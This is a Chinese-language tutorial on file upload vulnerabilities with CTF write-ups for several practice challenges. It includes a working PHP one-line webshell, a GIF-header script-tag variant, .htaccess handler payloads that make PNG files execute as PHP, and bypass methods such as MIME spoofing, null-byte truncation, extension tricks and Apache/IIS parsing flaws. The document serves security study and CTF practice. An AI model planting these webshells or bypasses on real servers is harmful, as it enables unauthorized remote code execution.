文件上传

文件上传漏洞

1.无验证

也就是前端和后端都不过滤上传的文件,故只需传入含一句话木马

<?php @eval($_POST['pass']);?>

的php文件,再用菜刀或者蚁剑连接即可。

2.js前端验证

顾名思义,就是只在浏览器前端进行简单的文件名过滤,只允许上传某种文件名。简单粗暴的做法是直接禁用浏览器里的js代码。
绕过方法:把含有一句话木马的php文件改成允许上传的文件名,上传并抓包,修改文件后缀为php再放包即可。

3.MIME绕过

上传php木马,抓包修改Content-Type为合法类型即可

例如:image/gif

4.htaccess

htaccess文件:是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。在文件上传中构造htaccess文件能使png以php格式解析。

和httpdp.com区别:只作用于当前目录,只在访问当前目录才加载

漏洞利用

//方法一
SetHandler application/x-httpd-php  	//所有的文件当做php文件来解析
//方法二
AddType application/x-httpd-php .png	//.png文件当作php文件解析

在htaccess文件中写入代码并上传,再上传写有一句话木马的png文件,蚁剑连接即可。

5.文件头检查

前面都是把含有一句话木马的php文件改变后缀变成png或者gif等可上传文件,而文件头检查则检查该文件的特征值,判断时候是真的png或者gif,故需要进一步伪装文件头。

绕过方法:制作图马,简单图马是直接把一句话木马放在图片末尾以绕过文件头检查

//命令行合成图马
copy 1.png/b+1.txt/a 2.png
//b,a表示合成时各文件的编码方式,b为二进制,a为ascll

二次渲染:同样也是检测文件是否是真的png或gif,上传之后的图片会被二次渲染,使得图马中的一句话木马变成乱码无法执行

绕过方法:下载被二次渲染后的图马与原来的图马比较,找到相同的地方,插入一句话木马。

(png、jpg、jpeg都不好改,gif好改)

上传图马,配合解析漏洞、文件包含漏洞等使图马以php格式执行即可。

6.解析漏洞

00截断攻击

漏洞原理:系统端解析文件格式和服务端解析文件格式的顺序不同,系统端由后往前解析,服务端反之。抓包将 xxx.php.gif 换成 xxx.php_gif(下划线为0x00)。在上传文件时系统文件遇到0x00。会认为文件已经结束。从而将xxx.php.gif的内容写入到xxx.php。(需要允许修改保存路径)

绕过方法

GET方式上传:抓包,在保存路径后面添加1.php%00(%00会自动解码),文件名不变仍为1.gif

POST方式上传:抓包,在保存路径后面添加1.php+在HEX界面找到这个加号修改为00,文件名仍不变为1.gif

黑名单绕过

绕过方法

1、文件名大小写绕过(AsP, pHp等等)
2、黑白名单列表绕过(php、php2、php3、php5、phtml、asp、aspx、ascx、ashx、cer、asa、jsp、jspx)cdx,
3、特殊文件名绕过:修改数据包里的文件名改为 test.php. 或者 test.asp_ (下划线是空格)由于这种命名格式在windows系统里是不允许的。所以在绕过上传之后windows系统会自动去掉 点和空格。Unix/Linux系统没有这个特性。
4、0x00截断绕过
5、.htaccess文件攻击(结合黑名单攻击)

Apache解析漏洞

漏洞原理:一个文件名为test.php.aaa.bbb.ccc的文件,Apache会从ccc的位置往php的位置开始尝试解析 ,如果ccc不属于Apache能解析的后缀名,那么Apache就会尝试去解析bbb,这样一直往前尝试,直到遇到一个能解析的拓展名为止

绕过方法:添加无用扩展名如xxx.php -->xxx.php.aaa

IIS解析漏洞

IIS6.0解析漏洞

1.目录解析:以.asp 、.asa、.cer、.cdx命名的文件夹里的文件都将会被当成ASP文件执行。

2.文件解析:只要文件名中含有.asp;、.asa;、.cer;、.cdx;会优先按 asp来解析,.asp;.jpg 这种畸形文件名在“;”后面的直接被忽略,也就是说当成 *.asp文件执行。

IIS7.0/7.5解析漏洞:

对任意文件名只要在URL后面追加上字符串"/任意文件名.php",就会按照 php 的方式去解析
如”http://url/upload/1.jpg/1adf.php”

练习题目

[极客大挑战 2019]Upload1

MIME绕过黑名单绕过,只允许上传图片,对php有简单过滤。

上传一句话木马

<?php @eval($_POST['pass']);?>

抓包修改

对内容有过滤,换一个木马

GIF89a? <script language="php">eval($_REQUEST[pass])</script>

成功

访问该文件upload/2.phtml

说明存在该文件,蚁剑连接

找到flag

[ACTF2020 新生赛]Upload1

前端过滤

把文件改成gif,抓包再改成php

修改

emmmphp也要绕一下改成phtml

有了,访问该页面

蚁剑一下,用命令行找到flag

[MRCTF2020]你传你🐎呢1

htaccess绕过

//把hack.png解析成php
<FilesMatch "hack.png">
SetHandler application/x-httpd-php
</FilesMatch>

上传htaccess文件,抓包修改类型为png

再上传一个含有木马的假png,上传成功

蚁剑一下,找到flag

[第二章 web进阶]文件上传1

题目直接给出了源码,得到过滤信息:

1.仅允许上传zip、jpg、gif、png文件
2.如果上传压缩包,压缩包内不允许含有php文件

上传一个含有php的zip

要绕过php,改成phtml,上传成功,问题是不知道路径

上传成功后会在upload下随机生成一个md5目录存放文件,也就是说很难拿到文件的路径,设法绕过这个目录,让文件存储在根目录下
010 editor修改文件名,使之存在根目录下(修改的时候现在原来的文件名预留足够的位置)

emmmm,御剑连上了但打不开,文件名换成php.xx(Apache解析漏洞)
上传后访问,得到flag